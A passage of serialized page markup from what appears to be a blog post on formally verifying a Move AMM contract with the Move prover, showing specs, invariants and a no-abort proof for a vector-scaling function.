ERR_INCORRECT_SWAP);\n",[158942],{"type":26,"tag":83,"props":158943,"children":158944},{"__ignoreMap":8},[158945,159004],{"type":26,"tag":217,"props":158946,"children":158947},{"class":7028,"line":7029},[158948,158952,158956,158960,158965,158969,158974,158978,158982,158987,158991,158995,159000],{"type":26,"tag":217,"props":158949,"children":158950},{"style":7154},[158951],{"type":32,"value":24787},{"type":26,"tag":217,"props":158953,"children":158954},{"style":7054},[158955],{"type":32,"value":155478},{"type":26,"tag":217,"props":158957,"children":158958},{"style":7149},[158959],{"type":32,"value":8993},{"type":26,"tag":217,"props":158961,"children":158962},{"style":7048},[158963],{"type":32,"value":158964}," u256",{"type":26,"tag":217,"props":158966,"children":158967},{"style":7149},[158968],{"type":32,"value":56166},{"type":26,"tag":217,"props":158970,"children":158971},{"style":7064},[158972],{"type":32,"value":158973},"compare",{"type":26,"tag":217,"props":158975,"children":158976},{"style":7048},[158977],{"type":32,"value":1851},{"type":26,"tag":217,"props":158979,"children":158980},{"style":7149},[158981],{"type":32,"value":9804},{"type":26,"tag":217,"props":158983,"children":158984},{"style":7054},[158985],{"type":32,"value":158986},"lp_value_after_swap_and_fee",{"type":26,"tag":217,"props":158988,"children":158989},{"style":7048},[158990],{"type":32,"value":7599},{"type":26,"tag":217,"props":158992,"children":158993},{"style":7149},[158994],{"type":32,"value":9804},{"type":26,"tag":217,"props":158996,"children":158997},{"style":7054},[158998],{"type":32,"value":158999},"lp_value_before_swap_u256",{"type":26,"tag":217,"props":159001,"children":159002},{"style":7048},[159003],{"type":32,"value":7669},{"type":26,"tag":217,"props":159005,"children":159006},{"class":7028,"line":6770},[159007,159012,159016,159020,159024,159028],{"type":26,"tag":217,"props":159008,"children":159009},{"style":7064},[159010],{"type":32,"value":159011},"  assert!",{"type":26,"tag":217,"props":159013,"children":159014},{"style":7048},[159015],{"type":32,"value":1851},{"type":26,"tag":217,"props":159017,"children":159018},{"style":7054},[159019],{"type":32,"value":155534},{"type":26,"tag":217,"props":159021,"children":159022},{"style":7149},[159023],{"type":32,"value":11680},{"type":26,"tag":217,"props":159025,"children":159026},{"style":7130},[159027],{"type":32,"value":9725},{"type":26,"tag":217,"props":159029,"children":159030},{"style":7048},[159031],{"type":32,"value":159032},", ERR_INCORRECT_SWAP);\n",{"type":26,"tag":39,"props":159034,"children":159035},{},[159036,159038,159043],{"type":32,"value":159037},"The move prover really shines when we're proving relationships ",{"type":26,"tag":65,"props":159039,"children":159040},{},[159041],{"type":32,"value":159042},"between",{"type":32,"value":159044}," functions.",{"type":26,"tag":39,"props":159046,"children":159047},{},[159048,159050,159056],{"type":32,"value":159049},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":26,"tag":83,"props":159051,"children":159053},{"className":159052},[],[159054],{"type":32,"value":159055},"no_free_money_theorem",{"type":32,"value":159057}," in the move repository.",{"type":26,"tag":207,"props":159059,"children":159060},{"className":56140,"code":156536,"language":56139,"meta":8,"style":8},[159061],{"type":26,"tag":83,"props":159062,"children":159063},{"__ignoreMap":8},[159064,159071,159154,159193,159212,159219,159234,159257,159280,159303],{"type":26,"tag":217,"props":159065,"children":159066},{"class":7028,"line":7029},[159067],{"type":26,"tag":217,"props":159068,"children":159069},{"style":7033},[159070],{"type":32,"value":156548},{"type":26,"tag":217,"props":159072,"children":159073},{"class":7028,"line":6770},[159074,159078,159082,159086,159090,159094,159098,159102,159106,159110,159114,159118,159122,159126,159130,159134,159138,159142,159146,159150],{"type":26,"tag":217,"props":159075,"children":159076},{"style":7054},[159077],{"type":32,"value":156556},{"type":26,"tag":217,"props":159079,"children":159080},{"style":7064},[159081],{"type":32,"value":156561},{"type":26,"tag":217,"props":159083,"children":159084},{"style":7048},[159085],{"type":32,"value":1851},{"type":26,"tag":217,"props":159087,"children":159088},{"style":7054},[159089],{"type":32,"value":156570},{"type":26,"tag":217,"props":159091,"children":159092},{"style":7149},[159093],{"type":32,"value":1473},{"type":26,"tag":217,"props":159095,"children":159096},{"style":7119},[159097],{"type":32,"value":91146},{"type":26,"tag":217,"props":159099,"children":159100},{"style":7048},[159101],{"type":32,"value":7599},{"type":26,"tag":217,"props":159103,"children":159104},{"style":7054},[159105],{"type":32,"value":156587},{"type":26,"tag":217,"props":159107,"children":159108},{"style":7149},[159109],{"type":32,"value":1473},{"type":26,"tag":217,"props":159111,"children":159112},{"style":7119},[159113],{"type":32,"value":91146},{"type":26,"tag":217,"props":159115,"children":159116},{"style":7048},[159117],{"type":32,"value":1889},{"type":26,"tag":217,"props":159119,"children":159120},{"style":7149},[159121],{"type":32,"value":1473},{"type":26,"tag":217,"props":159123,"children":159124},{"style":7048},[159125],{"type":32,"value":7051},{"type":26,"tag":217,"props":159127,"children":159128},{"style":7119},[159129],{"type":32,"value":120978},{"type":26,"tag":217,"props":159131,"children":159132},{"style":7048},[159133],{"type":32,"value":7599},{"type":26,"tag":217,"props":159135,"children":159136},{"style":7119},[159137],{"type":32,"value":120978},{"type":26,"tag":217,"props":159139,"children":159140},{"style":7048},[159141],{"type":32,"value":8380},{"type":26,"tag":217,"props":159143,"children":159144},{"style":7054},[159145],{"type":32,"value":99705},{"type":26,"tag":217,"props":159147,"children":159148},{"style":7119},[159149],{"type":32,"value":156632},{"type":26,"tag":217,"props":159151,"children":159152},{"style":7048},[159153],{"type":32,"value":8064},{"type":26,"tag":217,"props":159155,"children":159156},{"class":7028,"line":6779},[159157,159161,159165,159169,159173,159177,159181,159185,159189],{"type":26,"tag":217,"props":159158,"children":159159},{"style":7154},[159160],{"type":32,"value":68109},{"type":26,"tag":217,"props":159162,"children":159163},{"style":7054},[159164],{"type":32,"value":156648},{"type":26,"tag":217,"props":159166,"children":159167},{"style":7149},[159168],{"type":32,"value":8993},{"type":26,"tag":217,"props":159170,"children":159171},{"style":7064},[159172],{"type":32,"value":156657},{"type":26,"tag":217,"props":159174,"children":159175},{"style":7048},[159176],{"type":32,"value":1851},{"type":26,"tag":217,"props":159178,"children":159179},{"style":7054},[159180],{"type":32,"value":156570},{"type":26,"tag":217,"props":159182,"children":159183},{"style":7048},[159184],{"type":32,"value":7599},{"type":26,"tag":217,"props":159186,"children":159187},{"style":7054},[159188],{"type":32,"value":156587},{"type":26,"tag":217,"props":159190,"children":159191},{"style":7048},[159192],{"type":32,"value":7669},{"type":26,"tag":217,"props":159194,"children":159195},{"class":7028,"line":7140},[159196,159200,159204,159208],{"type":26,"tag":217,"props":159197,"children":159198},{"style":7064},[159199],{"type":32,"value":156685},{"type":26,"tag":217,"props":159201,"children":159202},{"style":7048},[159203],{"type":32,"value":1851},{"type":26,"tag":217,"props":159205,"children":159206},{"style":7054},[159207],{"type":32,"value":156694},{"type":26,"tag":217,"props":159209,"children":159210},{"style":7048},[159211],{"type":32,"value":10025},{"type":26,"tag":217,"props":159213,"children":159214},{"class":7028,"line":7165},[159215],{"type":26,"tag":217,"props":159216,"children":159217},{"style":7048},[159218],{"type":32,"value":16086},{"type":26,"tag":217,"props":159220,"children":159221},{"class":7028,"line":7178},[159222,159226,159230],{"type":26,"tag":217,"props":159223,"children":159224},{"style":7054},[159225],{"type":32,"value":156713},{"type":26,"tag":217,"props":159227,"children":159228},{"style":7054},[159229],{"type":32,"value":156561},{"type":26,"tag":217,"props":159231,"children":159232},{"style":7048},[159233],{"type":32,"value":8064},{"type":26,"tag":217,"props":159235,"children":159236},{"class":7028,"line":7389},[159237,159241,159245,159249,159253],{"type":26,"tag":217,"props":159238,"children":159239},{"style":7054},[159240],{"type":32,"value":156729},{"type":26,"tag":217,"props":159242,"children":159243},{"style":7054},[159244],{"type":32,"value":56840},{"type":26,"tag":217,"props":159246,"children":159247},{"style":7149},[159248],{"type":32,"value":267},{"type":26,"tag":217,"props":159250,"children":159251},{"style":7154},[159252],{"type":32,"value":60208},{"type":26,"tag":217,"props":159254,"children":159255},{"style":7048},[159256],{"type":32,"value":7162},{"type":26,"tag":217,"props":159258,"children":159259},{"class":7028,"line":7406},[159260,159264,159268,159272,159276],{"type":26,"tag":217,"props":159261,"children":159262},{"style":7054},[159263],{"type":32,"value":156204},{"type":26,"tag":217,"props":159265,"children":159266},{"style":7054},[159267],{"type":32,"value":155309},{"type":26,"tag":217,"props":159269,"children":159270},{"style":7149},[159271],{"type":32,"value":92297},{"type":26,"tag":217,"props":159273,"children":159274},{"style":7054},[159275],{"type":32,"value":156765},{"type":26,"tag":217,"props":159277,"children":159278},{"style":7048},[159279],{"type":32,"value":7162},{"type":26,"tag":217,"props":159281,"children":159282},{"class":7028,"line":7439},[159283,159287,159291,159295,159299],{"type":26,"tag":217,"props":159284,"children":159285},{"style":7054},[159286],{"type":32,"value":156204},{"type":26,"tag":217,"props":159288,"children":159289},{"style":7054},[159290],{"type":32,"value":155390},{"type":26,"tag":217,"props":159292,"children":159293},{"style":7149},[159294],{"type":32,"value":92297},{"type":26,"tag":217,"props":159296,"children":159297},{"style":7054},[159298],{"type":32,"value":156789},{"type":26,"tag":217,"props":159300,"children":159301},{"style":7048},[159302],{"type":32,"value":7162},{"type":26,"tag":217,"props":159304,"children":159305},{"class":7028,"line":7487},[159306],{"type":26,"tag":217,"props":159307,"children":159308},{"style":7048},[159309],{"type":32,"value":16086},{"type":26,"tag":39,"props":159311,"children":159312},{},[159313],{"type":32,"value":159314},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":26,"tag":39,"props":159316,"children":159317},{},[159318,159320,159325],{"type":32,"value":159319},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":26,"tag":65,"props":159321,"children":159322},{},[159323],{"type":32,"value":159324},"lot",{"type":32,"value":159326}," easier to reason about the protocol.",{"type":26,"tag":39,"props":159328,"children":159329},{},[159330],{"type":32,"value":159331},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":26,"tag":207,"props":159333,"children":159335},{"className":56140,"code":159334,"language":56139,"meta":8,"style":8},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[159336],{"type":26,"tag":83,"props":159337,"children":159338},{"__ignoreMap":8},[159339,159355,159376],{"type":26,"tag":217,"props":159340,"children":159341},{"class":7028,"line":7029},[159342,159346,159351],{"type":26,"tag":217,"props":159343,"children":159344},{"style":7054},[159345],{"type":32,"value":152824},{"type":26,"tag":217,"props":159347,"children":159348},{"style":7119},[159349],{"type":32,"value":159350}," PoolState",{"type":26,"tag":217,"props":159352,"children":159353},{"style":7048},[159354],{"type":32,"value":8064},{"type":26,"tag":217,"props":159356,"children":159357},{"class":7028,"line":6770},[159358,159362,159367,159371],{"type":26,"tag":217,"props":159359,"children":159360},{"style":7054},[159361],{"type":32,"value":156471},{"type":26,"tag":217,"props":159363,"children":159364},{"style":7054},[159365],{"type":32,"value":159366}," supply",{"type":26,"tag":217,"props":159368,"children":159369},{"style":7149},[159370],{"type":32,"value":10125},{"type":26,"tag":217,"props":159372,"children":159373},{"style":7048},[159374],{"type":32,"value":159375}," MINIMUM_LIQUIDITY;\n",{"type":26,"tag":217,"props":159377,"children":159378},{"class":7028,"line":6779},[159379],{"type":26,"tag":217,"props":159380,"children":159381},{"style":7048},[159382],{"type":32,"value":7184},{"type":26,"tag":39,"props":159384,"children":159385},{},[159386,159388,159393,159395,159400],{"type":32,"value":159387},"Another useful pattern for the Move prover is ",{"type":26,"tag":83,"props":159389,"children":159391},{"className":159390},[],[159392],{"type":32,"value":152871},{"type":32,"value":159394},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":26,"tag":83,"props":159396,"children":159398},{"className":159397},[],[159399],{"type":32,"value":153256},{"type":32,"value":180},{"type":26,"tag":39,"props":159402,"children":159403},{},[159404],{"type":32,"value":159405},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":26,"tag":207,"props":159407,"children":159409},{"className":56140,"code":159408,"language":56139,"meta":8,"style":8},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[159410],{"type":26,"tag":83,"props":159411,"children":159412},{"__ignoreMap":8},[159413,159475,159515,159538,159581,159593,159605,159641,159664,159747,159754,159777,159785,159805,159825,159917,159925,159953,159960,159971,159995,160030,160037,160045,160052,160067,160083,160098,160141,160244],{"type":26,"tag":217,"props":159414,"children":159415},{"class":7028,"line":7029},[159416,159420,159425,159429,159433,159437,159442,159446,159450,159454,159458,159462,159466,159471],{"type":26,"tag":217,"props":159417,"children":159418},{"style":7054},[159419],{"type":32,"value":156556},{"type":26,"tag":217,"props":159421,"children":159422},{"style":7064},[159423],{"type":32,"value":159424}," multiply_vec_by_n_coins",{"type":26,"tag":217,"props":159426,"children":159427},{"style":7048},[159428],{"type":32,"value":1851},{"type":26,"tag":217,"props":159430,"children":159431},{"style":7054},[159432],{"type":32,"value":56415},{"type":26,"tag":217,"props":159434,"children":159435},{"style":7149},[159436],{"type":32,"value":1473},{"type":26,"tag":217,"props":159438,"children":159439},{"style":7054},[159440],{"type":32,"value":159441}," vector",{"type":26,"tag":217,"props":159443,"children":159444},{"style":7048},[159445],{"type":32,"value":7289},{"type":26,"tag":217,"props":159447,"children":159448},{"style":7119},[159449],{"type":32,"value":120978},{"type":26,"tag":217,"props":159451,"children":159452},{"style":7048},[159453],{"type":32,"value":100409},{"type":26,"tag":217,"props":159455,"children":159456},{"style":7149},[159457],{"type":32,"value":1473},{"type":26,"tag":217,"props":159459,"children":159460},{"style":7054},[159461],{"type":32,"value":159441},{"type":26,"tag":217,"props":159463,"children":159464},{"style":7048},[159465],{"type":32,"value":7289},{"type":26,"tag":217,"props":159467,"children":159468},{"style":7119},[159469],{"type":32,"value":159470},"u128",{"type":26,"tag":217,"props":159472,"children":159473},{"style":7048},[159474],{"type":32,"value":77772},{"type":26,"tag":217,"props":159476,"children":159477},{"class":7028,"line":6770},[159478,159482,159486,159490,159494,159498,159503,159507,159511],{"type":26,"tag":217,"props":159479,"children":159480},{"style":7154},[159481],{"type":32,"value":68109},{"type":26,"tag":217,"props":159483,"children":159484},{"style":7054},[159485],{"type":32,"value":154435},{"type":26,"tag":217,"props":159487,"children":159488},{"style":7149},[159489],{"type":32,"value":8993},{"type":26,"tag":217,"props":159491,"children":159492},{"style":7048},[159493],{"type":32,"value":159441},{"type":26,"tag":217,"props":159495,"children":159496},{"style":7149},[159497],{"type":32,"value":56166},{"type":26,"tag":217,"props":159499,"children":159500},{"style":7054},[159501],{"type":32,"value":159502},"empty",{"type":26,"tag":217,"props":159504,"children":159505},{"style":7048},[159506],{"type":32,"value":7289},{"type":26,"tag":217,"props":159508,"children":159509},{"style":7119},[159510],{"type":32,"value":159470},{"type":26,"tag":217,"props":159512,"children":159513},{"style":7048},[159514],{"type":32,"value":104904},{"type":26,"tag":217,"props":159516,"children":159517},{"class":7028,"line":6779},[159518,159522,159526,159530,159534],{"type":26,"tag":217,"props":159519,"children":159520},{"style":7154},[159521],{"type":32,"value":68109},{"type":26,"tag":217,"props":159523,"children":159524},{"style":7054},[159525],{"type":32,"value":28971},{"type":26,"tag":217,"props":159527,"children":159528},{"style":7149},[159529],{"type":32,"value":8993},{"type":26,"tag":217,"props":159531,"children":159532},{"style":7130},[159533],{"type":32,"value":9922},{"type":26,"tag":217,"props":159535,"children":159536},{"style":7048},[159537],{"type":32,"value":7162},{"type":26,"tag":217,"props":159539,"children":159540},{"class":7028,"line":7140},[159541,159545,159549,159553,159557,159561,159565,159569,159573,159577],{"type":26,"tag":217,"props":159542,"children":159543},{"style":7154},[159544],{"type":32,"value":68109},{"type":26,"tag":217,"props":159546,"children":159547},{"style":7054},[159548],{"type":32,"value":154389},{"type":26,"tag":217,"props":159550,"children":159551},{"style":7149},[159552],{"type":32,"value":8993},{"type":26,"tag":217,"props":159554,"children":159555},{"style":7048},[159556],{"type":32,"value":159441},{"type":26,"tag":217,"props":159558,"children":159559},{"style":7149},[159560],{"type":32,"value":56166},{"type":26,"tag":217,"props":159562,"children":159563},{"style":7064},[159564],{"type":32,"value":33723},{"type":26,"tag":217,"props":159566,"children":159567},{"style":7048},[159568],{"type":32,"value":1851},{"type":26,"tag":217,"props":159570,"children":159571},{"style":7149},[159572],{"type":32,"value":9804},{"type":26,"tag":217,"props":159574,"children":159575},{"style":7054},[159576],{"type":32,"value":56415},{"type":26,"tag":217,"props":159578,"children":159579},{"style":7048},[159580],{"type":32,"value":7669},{"type":26,"tag":217,"props":159582,"children":159583},{"class":7028,"line":7165},[159584,159589],{"type":26,"tag":217,"props":159585,"children":159586},{"style":7042},[159587],{"type":32,"value":159588},"      while",{"type":26,"tag":217,"props":159590,"children":159591},{"style":7048},[159592],{"type":32,"value":154320},{"type":26,"tag":217,"props":159594,"children":159595},{"class":7028,"line":7178},[159596,159601],{"type":26,"tag":217,"props":159597,"children":159598},{"style":7054},[159599],{"type":32,"value":159600},"          spec",{"type":26,"tag":217,"props":159602,"children":159603},{"style":7048},[159604],{"type":32,"value":8064},{"type":26,"tag":217,"props":159606,"children":159607},{"class":7028,"line":7389},[159608,159613,159617,159621,159625,159629,159633,159637],{"type":26,"tag":217,"props":159609,"children":159610},{"style":7054},[159611],{"type":32,"value":159612},"              invariant",{"type":26,"tag":217,"props":159614,"children":159615},{"style":7064},[159616],{"type":32,"value":81182},{"type":26,"tag":217,"props":159618,"children":159619},{"style":7048},[159620],{"type":32,"value":1851},{"type":26,"tag":217,"props":159622,"children":159623},{"style":7054},[159624],{"type":32,"value":154353},{"type":26,"tag":217,"props":159626,"children":159627},{"style":7048},[159628],{"type":32,"value":8380},{"type":26,"tag":217,"props":159630,"children":159631},{"style":7149},[159632],{"type":32,"value":9106},{"type":26,"tag":217,"props":159634,"children":159635},{"style":7054},[159636],{"type":32,"value":28971},{"type":26,"tag":217,"props":159638,"children":159639},{"style":7048},[159640],{"type":32,"value":7162},{"type":26,"tag":217,"props":159642,"children":159643},{"class":7028,"line":7406},[159644,159648,159652,159656,159660],{"type":26,"tag":217,"props":159645,"children":159646},{"style":7054},[159647],{"type":32,"value":159612},{"type":26,"tag":217,"props":159649,"children":159650},{"style":7054},[159651],{"type":32,"value":28971},{"type":26,"tag":217,"props":159653,"children":159654},{"style":7149},[159655],{"type":32,"value":92297},{"type":26,"tag":217,"props":159657,"children":159658},{"style":7054},[159659],{"type":32,"value":154389},{"type":26,"tag":217,"props":159661,"children":159662},{"style":7048},[159663],{"type":32,"value":7162},{"type":26,"tag":217,"props":159665,"children":159666},{"class":7028,"line":7439},[159667,159671,159675,159679,159683,159687,159691,159695,159699,159703,159707,159711,159715,159719,159723,159727,159731,159735,159739,159743],{"type":26,"tag":217,"props":159668,"children":159669},{"style":7054},[159670],{"type":32,"value":159612},{"type":26,"tag":217,"props":159672,"children":159673},{"style":7054},[159674],{"type":32,"value":154405},{"type":26,"tag":217,"props":159676,"children":159677},{"style":7054},[159678],{"type":32,"value":113770},{"type":26,"tag":217,"props":159680,"children":159681},{"style":7154},[159682],{"type":32,"value":154414},{"type":26,"tag":217,"props":159684,"children":159685},{"style":7130},[159686],{"type":32,"value":9922},{"type":26,"tag":217,"props":159688,"children":159689},{"style":7149},[159690],{"type":32,"value":120880},{"type":26,"tag":217,"props":159692,"children":159693},{"style":7054},[159694],{"type":32,"value":2290},{"type":26,"tag":217,"props":159696,"children":159697},{"style":7149},[159698],{"type":32,"value":1473},{"type":26,"tag":217,"props":159700,"children":159701},{"style":7054},[159702],{"type":32,"value":154435},{"type":26,"tag":217,"props":159704,"children":159705},{"style":7048},[159706],{"type":32,"value":7127},{"type":26,"tag":217,"props":159708,"children":159709},{"style":7054},[159710],{"type":32,"value":49141},{"type":26,"tag":217,"props":159712,"children":159713},{"style":7048},[159714],{"type":32,"value":10276},{"type":26,"tag":217,"props":159716,"children":159717},{"style":7149},[159718],{"type":32,"value":9106},{"type":26,"tag":217,"props":159720,"children":159721},{"style":7054},[159722],{"type":32,"value":154456},{"type":26,"tag":217,"props":159724,"children":159725},{"style":7048},[159726],{"type":32,"value":7127},{"type":26,"tag":217,"props":159728,"children":159729},{"style":7054},[159730],{"type":32,"value":49141},{"type":26,"tag":217,"props":159732,"children":159733},{"style":7048},[159734],{"type":32,"value":10276},{"type":26,"tag":217,"props":159736,"children":159737},{"style":7149},[159738],{"type":32,"value":10006},{"type":26,"tag":217,"props":159740,"children":159741},{"style":7054},[159742],{"type":32,"value":154389},{"type":26,"tag":217,"props":159744,"children":159745},{"style":7048},[159746],{"type":32,"value":7162},{"type":26,"tag":217,"props":159748,"children":159749},{"class":7028,"line":7487},[159750],{"type":26,"tag":217,"props":159751,"children":159752},{"style":7048},[159753],{"type":32,"value":117018},{"type":26,"tag":217,"props":159755,"children":159756},{"class":7028,"line":7524},[159757,159761,159765,159769,159773],{"type":26,"tag":217,"props":159758,"children":159759},{"style":7048},[159760],{"type":32,"value":154568},{"type":26,"tag":217,"props":159762,"children":159763},{"style":7054},[159764],{"type":32,"value":2290},{"type":26,"tag":217,"props":159766,"children":159767},{"style":7149},[159768],{"type":32,"value":13147},{"type":26,"tag":217,"props":159770,"children":159771},{"style":7054},[159772],{"type":32,"value":154389},{"type":26,"tag":217,"props":159774,"children":159775},{"style":7048},[159776],{"type":32,"value":10025},{"type":26,"tag":217,"props":159778,"children":159779},{"class":7028,"line":7553},[159780],{"type":26,"tag":217,"props":159781,"children":159782},{"style":7048},[159783],{"type":32,"value":159784},"      }) {\n",{"type":26,"tag":217,"props":159786,"children":159787},{"class":7028,"line":7570},[159788,159793,159797,159801],{"type":26,"tag":217,"props":159789,"children":159790},{"style":7048},[159791],{"type":32,"value":159792},"          vector",{"type":26,"tag":217,"props":159794,"children":159795},{"style":7149},[159796],{"type":32,"value":56166},{"type":26,"tag":217,"props":159798,"children":159799},{"style":7064},[159800],{"type":32,"value":154536},{"type":26,"tag":217,"props":159802,"children":159803},{"style":7048},[159804],{"type":32,"value":10932},{"type":26,"tag":217,"props":159806,"children":159807},{"class":7028,"line":7621},[159808,159813,159817,159821],{"type":26,"tag":217,"props":159809,"children":159810},{"style":7149},[159811],{"type":32,"value":159812},"              &",{"type":26,"tag":217,"props":159814,"children":159815},{"style":7154},[159816],{"type":32,"value":90786},{"type":26,"tag":217,"props":159818,"children":159819},{"style":7054},[159820],{"type":32,"value":154435},{"type":26,"tag":217,"props":159822,"children":159823},{"style":7048},[159824],{"type":32,"value":10953},{"type":26,"tag":217,"props":159826,"children":159827},{"class":7028,"line":7672},[159828,159833,159837,159841,159845,159849,159853,159857,159861,159865,159869,159873,159877,159881,159885,159889,159893,159897,159901,159905,159909,159913],{"type":26,"tag":217,"props":159829,"children":159830},{"style":7048},[159831],{"type":32,"value":159832},"              (",{"type":26,"tag":217,"props":159834,"children":159835},{"style":7149},[159836],{"type":32,"value":10006},{"type":26,"tag":217,"props":159838,"children":159839},{"style":7048},[159840],{"type":32,"value":154577},{"type":26,"tag":217,"props":159842,"children":159843},{"style":7149},[159844],{"type":32,"value":56166},{"type":26,"tag":217,"props":159846,"children":159847},{"style":7064},[159848],{"type":32,"value":150166},{"type":26,"tag":217,"props":159850,"children":159851},{"style":7048},[159852],{"type":32,"value":1851},{"type":26,"tag":217,"props":159854,"children":159855},{"style":7149},[159856],{"type":32,"value":9804},{"type":26,"tag":217,"props":159858,"children":159859},{"style":7054},[159860],{"type":32,"value":56415},{"type":26,"tag":217,"props":159862,"children":159863},{"style":7048},[159864],{"type":32,"value":129798},{"type":26,"tag":217,"props":159866,"children":159867},{"style":7054},[159868],{"type":32,"value":2290},{"type":26,"tag":217,"props":159870,"children":159871},{"style":7154},[159872],{"type":32,"value":97268},{"type":26,"tag":217,"props":159874,"children":159875},{"style":7119},[159876],{"type":32,"value":91146},{"type":26,"tag":217,"props":159878,"children":159879},{"style":7048},[159880],{"type":32,"value":9156},{"type":26,"tag":217,"props":159882,"children":159883},{"style":7154},[159884],{"type":32,"value":91735},{"type":26,"tag":217,"props":159886,"children":159887},{"style":7119},[159888],{"type":32,"value":152913},{"type":26,"tag":217,"props":159890,"children":159891},{"style":7048},[159892],{"type":32,"value":8380},{"type":26,"tag":217,"props":159894,"children":159895},{"style":7149},[159896],{"type":32,"value":10006},{"type":26,"tag":217,"props":159898,"children":159899},{"style":7048},[159900],{"type":32,"value":7051},{"type":26,"tag":217,"props":159902,"children":159903},{"style":7054},[159904],{"type":32,"value":154642},{"type":26,"tag":217,"props":159906,"children":159907},{"style":7154},[159908],{"type":32,"value":97268},{"type":26,"tag":217,"props":159910,"children":159911},{"style":7119},[159912],{"type":32,"value":152913},{"type":26,"tag":217,"props":159914,"children":159915},{"style":7048},[159916],{"type":32,"value":10025},{"type":26,"tag":217,"props":159918,"children":159919},{"class":7028,"line":7681},[159920],{"type":26,"tag":217,"props":159921,"children":159922},{"style":7048},[159923],{"type":32,"value":159924},"          );\n",{"type":26,"tag":217,"props":159926,"children":159927},{"class":7028,"line":7754},[159928,159933,159937,159941,159945,159949],{"type":26,"tag":217,"props":159929,"children":159930},{"style":7054},[159931],{"type":32,"value":159932},"          i",{"type":26,"tag":217,"props":159934,"children":159935},{"style":7149},[159936],{"type":32,"value":8993},{"type":26,"tag":217,"props":159938,"children":159939},{"style":7054},[159940],{"type":32,"value":28971},{"type":26,"tag":217,"props":159942,"children":159943},{"style":7149},[159944],{"type":32,"value":9025},{"type":26,"tag":217,"props":159946,"children":159947},{"style":7130},[159948],{"type":32,"value":9742},{"type":26,"tag":217,"props":159950,"children":159951},{"style":7048},[159952],{"type":32,"value":7162},{"type":26,"tag":217,"props":159954,"children":159955},{"class":7028,"line":7784},[159956],{"type":26,"tag":217,"props":159957,"children":159958},{"style":7048},[159959],{"type":32,"value":131977},{"type":26,"tag":217,"props":159961,"children":159962},{"class":7028,"line":7802},[159963,159967],{"type":26,"tag":217,"props":159964,"children":159965},{"style":7054},[159966],{"type":32,"value":154328},{"type":26,"tag":217,"props":159968,"children":159969},{"style":7048},[159970],{"type":32,"value":8064},{"type":26,"tag":217,"props":159972,"children":159973},{"class":7028,"line":7811},[159974,159979,159983,159987,159991],{"type":26,"tag":217,"props":159975,"children":159976},{"style":7054},[159977],{"type":32,"value":159978},"          assert",{"type":26,"tag":217,"props":159980,"children":159981},{"style":7054},[159982],{"type":32,"value":28971},{"type":26,"tag":217,"props":159984,"children":159985},{"style":7149},[159986],{"type":32,"value":11680},{"type":26,"tag":217,"props":159988,"children":159989},{"style":7054},[159990],{"type":32,"value":154389},{"type":26,"tag":217,"props":159992,"children":159993},{"style":7048},[159994],{"type":32,"value":7162},{"type":26,"tag":217,"props":159996,"children":159997},{"class":7028,"line":7820},[159998,160002,160006,160010,160014,160018,160022,160026],{"type":26,"tag":217,"props":159999,"children":160000},{"style":7054},[160001],{"type":32,"value":159978},{"type":26,"tag":217,"props":160003,"children":160004},{"style":7064},[160005],{"type":32,"value":81182},{"type":26,"tag":217,"props":160007,"children":160008},{"style":7048},[160009],{"type":32,"value":1851},{"type":26,"tag":217,"props":160011,"children":160012},{"style":7054},[160013],{"type":32,"value":56415},{"type":26,"tag":217,"props":160015,"children":160016},{"style":7048},[160017],{"type":32,"value":8380},{"type":26,"tag":217,"props":160019,"children":160020},{"style":7149},[160021],{"type":32,"value":9106},{"type":26,"tag":217,"props":160023,"children":160024},{"style":7054},[160025],{"type":32,"value":154389},{"type":26,"tag":217,"props":160027,"children":160028},{"style":7048},[160029],{"type":32,"value":7162},{"type":26,"tag":217,"props":160031,"children":160032},{"class":7028,"line":7844},[160033],{"type":26,"tag":217,"props":160034,"children":160035},{"style":7048},[160036],{"type":32,"value":131977},{"type":26,"tag":217,"props":160038,"children":160039},{"class":7028,"line":7910},[160040],{"type":26,"tag":217,"props":160041,"children":160042},{"style":7054},[160043],{"type":32,"value":160044},"      amounts_times_coins\n",{"type":26,"tag":217,"props":160046,"children":160047},{"class":7028,"line":7954},[160048],{"type":26,"tag":217,"props":160049,"children":160050},{"style":7048},[160051],{"type":32,"value":16086},{"type":26,"tag":217,"props":160053,"children":160054},{"class":7028,"line":7985},[160055,160059,160063],{"type":26,"tag":217,"props":160056,"children":160057},{"style":7054},[160058],{"type":32,"value":156713},{"type":26,"tag":217,"props":160060,"children":160061},{"style":7054},[160062],{"type":32,"value":159424},{"type":26,"tag":217,"props":160064,"children":160065},{"style":7048},[160066],{"type":32,"value":8064},{"type":26,"tag":217,"props":160068,"children":160069},{"class":7028,"line":8027},[160070,160074,160079],{"type":26,"tag":217,"props":160071,"children":160072},{"style":7054},[160073],{"type":32,"value":156729},{"type":26,"tag":217,"props":160075,"children":160076},{"style":7054},[160077],{"type":32,"value":160078}," 